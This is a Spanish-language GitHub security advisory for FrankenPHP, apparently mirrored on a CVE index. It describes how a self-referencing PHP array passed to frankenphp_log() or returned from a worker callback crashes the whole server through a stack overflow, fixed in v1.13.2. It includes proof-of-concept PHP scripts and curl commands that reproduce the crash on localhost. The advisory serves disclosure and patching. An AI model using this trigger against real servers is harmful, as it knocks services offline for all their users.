GHSA-CCGP-CH9H-533F
Los arrays cíclicos de PHP provocan un desbordamiento de pila en todo el proceso durante la conversión de PHP a Go
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CCGP-CH9H-533F divulgada · CVSS 5.9 (GitHub) | |
| Remediación | Parche v1.13.2 | github.com/dunglas/frankenphp · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
El convertidor de arrays de PHP a Go de FrankenPHP no detecta referencias circulares. Pasar un array de PHP autorreferenciado a `frankenphp_log()` o devolverlo desde un callback de worker provoca una recursión sin límite y un desbordamiento de pila fatal en Go, lo que termina todo el proceso de FrankenPHP. Las solicitudes no relacionadas fallan hasta que se reinicia el servidor.
El fallo se puede reproducir en la v1.13.1. Para que se active, la aplicación debe crear o propagar un array cíclico hacia una de estas APIs.
Detalles
En `types.go` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L74-L171, `goArray()` convierte cada elemento del array usando `goValue()`. Cuando el elemento es otro array de PHP, `goValue()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L273-L358 entra en `GoAssociativeArray()` o `GoPackedArray()` y repite el recorrido. No existe ninguna comprobación de los arrays ya visitados en la ruta de conversión actual, ni un límite de profundidad de recursión.
Se puede llegar a este código desde:
- `go_log_attrs()`
https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/frankenphp.go#L850-L873, que llama a `GoMap[any]()` sobre el contexto suministrado a `frankenphp_log()`. - `go_frankenphp_finish_worker_request()`
https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/threadworker.go#L279-L289, que llama a `GoValue[any]()` sobre el valor devuelto por el callback de un worker.
Para un array cíclico, el convertidor entra repetidamente en el mismo array de Zend hasta que el runtime de Go aborta:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflowEl rastreo de pila muestra repetidamente `goValue`, `goArray` y `GoAssociativeArray` en `types.go`. Esto termina el proceso del servidor, en lugar de lanzar una excepción de PHP o devolver un error de conversión.
Prueba de concepto
Probado con el binario oficial de FrankenPHP v1.13.1 para Linux x86_64 (PHP 8.5.11, Caddy 2.11.7), en Ubuntu 24.04. Commit de la versión: `99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5`.
1. `frankenphp_log()`
Crear `public/logging.php`:
<?php
$ctx = ['tag'=>'healthy'];
if (($_GET['case'] ?? '') === 'cyclic') {
$ctx['self'] = &$ctx;
}
frankenphp_log('independent_recheck_log', 0, $ctx);
header('Content-Type: text/plain');
echo 'logger-ok';Crear un endpoint no relacionado `public/health.php`:
<?php echo 'healthy';Iniciar FrankenPHP:
./frankenphp php-server -l 127.0.0.1:18882 -r "$PWD/public"En otra terminal:
curl -i http://127.0.0.1:18882/logging.php
curl -i http://127.0.0.1:18882/health.php
curl -v 'http://127.0.0.1:18882/logging.php?case=cyclic'
curl -v http://127.0.0.1:18882/health.phpAmbas solicitudes de control devuelven HTTP 200. La solicitud con el array cíclico termina con una respuesta vacía (`curl` código de salida 52). El proceso de FrankenPHP finaliza con el desbordamiento de pila mostrado arriba, y la solicitud de salud posterior falla con `Connection refused` (`curl` código de salida 7).
2. Valor devuelto por el callback de un worker
Crear `public/index.php`:
<?php
$handler = static function (): array {
header('Content-Type: text/plain');
echo 'independent-worker-handled';
if (($_GET['trigger'] ?? '') === 'cycle') {
$node = ['origin'=>'independent_worker'];
$node['backref'] = &$node;
return $node;
}
return ['status'=>'ok'];
};
while (frankenphp_handle_request($handler)) {}Crear `public/status.txt` con el contenido `healthy` e iniciar FrankenPHP en modo worker:
./frankenphp php-server -l 127.0.0.1:18885 -r "$PWD/public" -w "$PWD/public/index.php,1"En otra terminal:
curl -i http://127.0.0.1:18885/
curl -i http://127.0.0.1:18885/status.txt
curl -v 'http://127.0.0.1:18885/?trigger=cycle'
curl -v http://127.0.0.1:18885/status.txtLa solicitud normal al worker y el archivo estático devuelven HTTP 200. Al devolver el array cíclico, el proceso de FrankenPHP termina con el mismo desbordamiento de pila fatal. La solicitud posterior del archivo estático es rechazada.
Impacto
Se trata de una denegación de servicio a nivel de proceso causada por una recursión sin control en la conversión de PHP a Go. Afecta a las aplicaciones que pasan arrays cíclicos de PHP al contexto de logging o los devuelven desde callbacks de worker. Una sola aparición termina el proceso e interrumpe todas las solicitudes que atiende, incluidas las de sitios o endpoints no relacionados que comparten ese proceso.
La explotación remota depende del comportamiento de la aplicación: los parámetros HTTP habituales no crean directamente ciclos de referencias en PHP. Un atacante remoto necesitaría una ruta accesible que construya o conserve un array de este tipo y lo pase a una API afectada. No he podido establecer esa ruta en una aplicación sin modificar. El impacto demostrado es la pérdida de disponibilidad; no se observó ningún impacto en la confidencialidad ni en la integridad.
El convertidor debería detectar las referencias recursivas (y, preferiblemente, limitar la profundidad de anidamiento) y devolver un error recuperable sin terminar el servidor.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/dunglas/frankenphp |
Corregida | v1.13.2 | 0 d | v1.13.6 no afectada |
v1.13.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/php/frankenphp/security/advisories/GHSA-ccgp-ch9h-533fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
